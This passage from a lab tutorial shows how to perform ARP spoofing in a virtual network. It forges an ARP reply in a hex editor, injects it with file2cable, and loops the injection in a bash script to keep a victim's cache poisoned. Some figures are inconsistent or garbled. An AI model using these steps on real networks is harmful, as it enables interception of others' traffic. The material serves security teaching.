

```
C:\Users\Mohit>arp -a

Interface: 10.0.0.9 --- 0x0
Internet Address      Physical Address      Type
10.0.0.1              84-1b-5e-50-c8-6e    dynamic
10.0.0.2              10-fe-ed-be-5e-4b    dynamic
224.0.0.252           01-00-5e-00-00-fc    static
```

Figure 1: ARP cache

```
2 3.986076 192.168.0.131 192.168.0.2 DNS Standard query response 0x0
5 11.506660 192.168.0.131 192.168.0.2 DNS Standard query & to.silly.name.com
13.000020 192.168.0.131 192.168.0.2 DNS Standard query & to.silly.name.com
15.000040 192.168.0.131 192.168.0.2 DNS Standard query & to.silly.name.com
17.000060 192.168.0.131 192.168.0.2 DNS Standard query & to.silly.name.com
19.000080 192.168.0.131 192.168.0.2 DNS Other (Serial) request: (Edmondson, enoch@v)
21.000100 192.168.0.131 192.168.0.2 DNS Standard query 192.168.0.131 tell 192.168.0.2
23.000120 192.168.0.131 192.168.0.2 DNS Standard query 192.168.0.131 tell 192.168.0.2
```

Figure 2: ARP reply packet

of the gateway in the ARP cache of the victim machine, is changed by the attacker.

How to perform ARP spoofing

In order to demonstrate ARP spoofing we need three machines—a gateway, an attacker and a victim. All experiments are performed in VMware 8.0, taking a Windows 7 system as the gateway, a Windows XP system as the victim and a Linux (Backtrack) system as the attacking machine.

The IP address and MAC address of each machine is given in Table 1.

Step 1: On the attacker side, start passive sniffing by launching the Wireshark tool. Sniff for any ARP reply packets,

Table 1

Machine's name	IP address	MAC address
Windows XP	192.168.0.131	00:0C:29:BA:3D:FA
Linux	192.168.0.129	00:0C:29:BC:CB:9D
Windows 7	192.168.0.2	00:50:56:C0:00:08

but first select the interface eth0.

Step 2: Capture the ARP reply packet as shown in Figure 3.

Step 3: Select 'Export Selected Packet Bytes' after right-clicking on the frame of the ARP reply. Save the file named *arprp* and open it in the hex editor using the following command:

```
# hexedit -b arprp
```

The file will appear as shown in Figure 3.

Our aim is to send a spoofed packet to the victim. In order to create a spoofed packet, some changes will have to be made to certain fields, as shown in Figure 4.

Change the following fields:

```
Destination MAC = Victim machine's MAC (00:0C:29:BA:3D:FA)
Source MAC = Attacker MAC (00:0C:29:BC:CB:9D)
Source IP = Gateway's IP (192.168.0.2 in Hex code C0 A8 00 02)
Destination IP = Victim Machine's IP (192.168.0.131 in Hex C0 A8 00 83)
```

```
Session Edit View Bookmarks Settings Help
File: arprp ASCII Offset: 0x00000000 / 0x00000000 (000)
00000000 00 50 56 C0 00 00 0C 29 BA 3D FA 00 00 00 01 PV.....
00000010 00 00 00 04 00 02 00 0C 29 BA 3D FA C0 A8 00 83 .....
00000020 00 50 56 C0 00 00 0C 29 BA 3D FA 00 00 00 00 .....
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
```

Figure 3: ARP reply in the hex editor

```
Destination MAC Source MAC
File: arprp ASCII Offset: 0x00000000 / 0
00000000 00 50 56 C0 00 00 00 0C 29 BA 3D FA 00 00 00 01
00000010 00 00 00 04 00 02 00 0C 29 BA 3D FA C0 A8 00 83
00000020 00 50 56 C0 00 00 0C 29 BA 3D FA 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Destination MAC Destination IP Source IP
```

Figure 4: Spoofed field

```
C:\Documents and Settings\mohit>arp -a

Interface: 192.168.0.131 --- 0x02
Internet Address      Physical Address      Type
192.168.0.2           00-50-56-c0-b9-9d    dynamic
192.168.0.129         00-0c-29-bc-b-9d     dynamic

C:\Documents and Settings\mohit>arp -a

Interface: 192.168.0.131 --- 0x02
Internet Address      Physical Address      Type
192.168.0.2           00-50-56-c0-b9-9d    dynamic
192.168.0.129         00-0c-29-bc-b-9d     dynamic

C:\Documents and Settings\mohit>
```

Figure 5: Spoofing

Step 4: Save this file with a new name, like *arprpnew*.

Then place this file on the LAN with the help of the following command:

```
# file2cable -i eth0 -f arprpnew
```

Step 5: See the effect on the victim machine, before spoofing and after spoofing, as shown in Figure 5.

Use the following command:

```
>arp -a
```

The victim machine's ARP cache has the same MAC address for different IP addresses. In this way, the attacker makes a new spoofed packet for the gateway and places this on the LAN.



Note: Attackers can only update the cache, which means they can't insert the entries into the cache.

After some time, entries are deleted automatically. So there is a need to send packets again and again, for which you need to create a shell script named *arpp*:

```
#!/bin/bash
for((i=0;i<100;i++))
do
file2cable -i eth0 -f arprpnew
sleep 1000
done
```

Give permission 770 to this file